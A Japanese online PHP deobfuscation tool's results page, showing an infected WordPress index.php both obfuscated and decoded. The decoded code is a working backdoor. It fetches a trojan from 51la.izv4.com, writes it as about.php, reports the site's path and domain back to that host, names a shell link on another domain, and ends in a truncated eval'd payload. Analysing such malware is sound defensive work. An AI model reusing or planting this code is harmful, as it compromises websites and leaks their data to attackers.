Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

text/x-generic index.php ( PHP script, ASCII text, with very long lines, with CRLF line terminators ) <?php $O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{2...



難読化されたPHPコード

text/x-generic index.php ( PHP script, ASCII text, with very long lines, with CRLF line terminators )
<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovL2xvdWRwdmNrcy5jb20vYWJvdXQucGhwPzUyMA==\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuaXp2NC5jb20vYS50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuaXp2NC5jb20vP2Q9JXM=\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php
@set_time_limit(0); @error_reporting(0); $cAT3VWynuiL7CRgr = "7c703c76d1a6d63383a19e3a4d6f7895"; if (isset($_REQUEST['d_time'])){ die($cAT3VWynuiL7CRgr); }function lcYsA($ewRyaO){ $ewRyaO=gzinflate(base64_decode($ewRyaO)); for($i=0;$i<strlen($ewRyaO);$i++) {$ewRyaO[$i] = chr(ord($ewRyaO[$i])-1); } return $ewRyaO; }eval(lcYsA("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"));?>

デコード(難読化解除)されたコード

text/x-generic index.php ( PHP script, ASCII text, with very long lines, with CRLF line terminators )
<?php 
$O00OO_0_O_ = "n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
$O000OOO___ = "file_put_contents";
$O_0O_0O0O_ = "file_get_contents";
$O0_O0_O0O_ = "create_function";
$OOO0_O0_0_ = "base64_encode";
$OO0O___0O0 = "base64_decode";
$O_O_0_O00O = "preg_replace";
$O_00O0OO__ = "str_replace";
$O_0_O0_O0O = "curl_setopt";
$O_O_O000_O = "curl_close";
$O___00OO0O = "serialize";
$O__0O0_0OO = "curl_init";
$O_OO_O000_ = "curl_exec";
$OO0O0__O0_ = function ($O__O00_OO0 = '') {
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    } elseif (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    return $O__O00_OO0;
};
$OOO_O00_0_ = function ($url) {
    $OO0O0_0_O_ = @file_get_contents($url);
    if (!$OO0O0_0_O_) {
        $O0O0_O_0O_ = curl_init();
        curl_setopt($O0O0_O_0O_, CURLOPT_URL, $url);
        curl_setopt($O0O0_O_0O_, CURLOPT_RETURNTRANSFER, 1);
        $OO0O0_0_O_ = curl_exec($O0O0_O_0O_);
        curl_close($O0O0_O_0O_);
    }
    return $OO0O0_0_O_;
};
$O_OO__0O00 = function ($O_0O_O_0O0 = '') {
    $O_0_O_OO00 = array();
    $O_0_O_OO00["path"] = str_replace(str_replace('//', '/', $_SERVER["PHP_SELF"]), '', str_replace('\\\\', '/', $_SERVER["SCRIPT_FILENAME"]));
    $O_0_O_OO00["domain"] = $GLOBALS["OO0O0__O0_"]();
    $O_0_O_OO00["shell_link"] = "http://loudpvcks.com/about.php?520";
    if (isset($_GET["del"]) && $_GET["del"] == "my_code") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        $OO0O0O0___ = @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
        if ($OO0O0O0___ > 0) {
            die("delete success");
        }
        die("delete failed");
    }
    $OO_O__O000 = "about.php";
    $O0O_0_O0_O = $O_0_O_OO00["path"] . "/" . $OO_O__O000;
    $OO0O0O0___ = @$GLOBALS["OOO_O00_0_"]("http://51la.izv4.com/a.txt");
    $OO0O0O0___ = @file_put_contents($O0O_0_O0_O, $OO0O0O0___);
    if ($OO0O0O0___ > 0) {
        $O_0_O_OO00["trojan"] = "http://" . $O_0_O_OO00["domain"] . "/" . $OO_O__O000;
    } else {
        $O_0_O_OO00["trojan"] = "write failed";
    }
    $OO_0O00O__ = sprintf("http://51la.izv4.com/?d=%s", base64_encode(serialize($O_0_O_OO00)));
    $O__OO0O00_ = $GLOBALS["OOO_O00_0_"]($OO_0O00O__);
    if ($O__OO0O00_ == "done") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
    }
};
$GLOBALS["O_OO__0O00"](1);
@set_time_limit(0);
@error_reporting(0);
$cAT3VWynuiL7CRgr = "7c703c76d1a6d63383a19e3a4d6f7895";
if (isset($_REQUEST['d_time'])) {
    die($cAT3VWynuiL7CRgr);
}
function lcYsA($ewRyaO)
{
    $ewRyaO = gzinflate(base64_decode($ewRyaO));
    for ($i = 0; $i < strlen($ewRyaO); $i++) {
        $ewRyaO[$i] = chr(ord($ewRyaO[$i]) - 1);
    }
    return $ewRyaO;
}
eval(lcYsA("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